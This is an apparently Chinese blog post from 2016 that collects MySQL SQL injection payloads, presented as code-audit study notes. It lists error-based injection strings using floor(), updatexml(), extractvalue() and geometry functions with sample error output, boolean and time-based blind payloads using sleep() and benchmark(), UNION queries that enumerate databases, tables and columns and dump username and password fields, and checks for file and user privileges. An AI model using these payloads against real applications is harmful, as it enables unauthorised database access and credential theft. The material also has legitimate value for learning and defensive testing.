Msql注入方式收集

Msql注入方式

发现网上都很多就收集了一下.

代码审计学习记录

  • 0x00-报错注入

mysql报错注入,我们有时候会遇到没有正常数据回显的注入.这时候就需要报错注入来获得我们需要的数据.


我们经常用到的有floor(),updatexml(),extractvalue()通过查找资料发现还有一些函数.
由于这三个比较通用,也就是在大部分mysql版本中都有,其他的有些可能在低版本里没有.

  1. floor()

语句:and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

mysql> select 1 and (select 1 from  (select count(*),concat(version(),floor(rand
(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.5.401' for key 'group_key'
  1. updatexml()
    语句:and (updatexml(1,concat(0x3a,(select user())),1));
mysql> select 1 and (updatexml(1,concat(0x3a,(select user())),1));
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
  1. ExtractValue()
    和upadtexml()用法差不多
    语句:and extractvalue(1, concat(0x5c, (select user())));
mysql> select 1 and extractvalue(1, concat(0x5c, (select user())));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'
  1. GeometryCollection() version > MySQL4.1
  2. MultiPoint()
  3. Polygon()
  4. LineString()
  5. MultiPolygon()
  6. MultiPoint()
  7. MultiLineString()
    这几个是mysql在4.1版本之后引入的一系列空间扩展,使其具备了一定的空间处理能力.
    语句都一样就列举了一个例子.
    语句:AND GeometryCollection((select * from(select * from(select user())a)b));
mysql> select 1 AND GeometryCollection((select * from(select * from(select user(
))a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'ro
ot@localhost' AS `user()` from dual) `b`)' value found during parsing
  • 0x01-盲注
    盲注分为两种
    一种是普通盲注,一种是基于时间又叫延时注入.
    通过一些处理函数将我们需要获取的数据通过猜解的方式得到的方式.
    查询数据库AND ascii(substring((select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),1,1))=ascii码
    查询用户长度 And (select length(user()))=12;
    查询数据库and ascii(substr(database(),位数,1))=ascii;
    查询用户and 1=(if(ascii(mid(user()from(位数)for(1)))=查询位数字符的ascii编码,1,0));
    时间盲注
    其实就是普通盲注加上了if判断
    and if(ascii(mid(user()from(位数)for(1)))=ascii码,sleep(3),0)
    and 1=if(ascii(mid((select user())from(1)for(1)))=114,sleep(3),0);
    and 1=(select case when (ascii(mid(user()from(位数)for(1)))=ascii码) then benchmark(5*4000000,md5(1111)) else 0 end)=1
    and 1=if(length(user())=长度,sleep(3),0);
    sleep(1-abs(sign(ascii(mid(lower(user())from(位数)for(1)))-ascii码)))
    没有等于符号
    每次取一个字符的ascii码,与列表中的ascii码逐一对比,取符号的绝对值。
    如果相等,则符号是0,绝对值是0,会延迟。
    若不等,则符号是1或-1,绝对值为1,不延迟。
    然后我们可以通过py脚本来快速得到数据.
  • 0x02-常用mysql注入语句

查询数据库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
system_user() 系统用户名
user() 用户名
current_user当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
判断是否具有读写权限
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*

posted @ 2016-07-01 15:50  易语言大师  阅读(202)  评论(0编辑  收藏  举报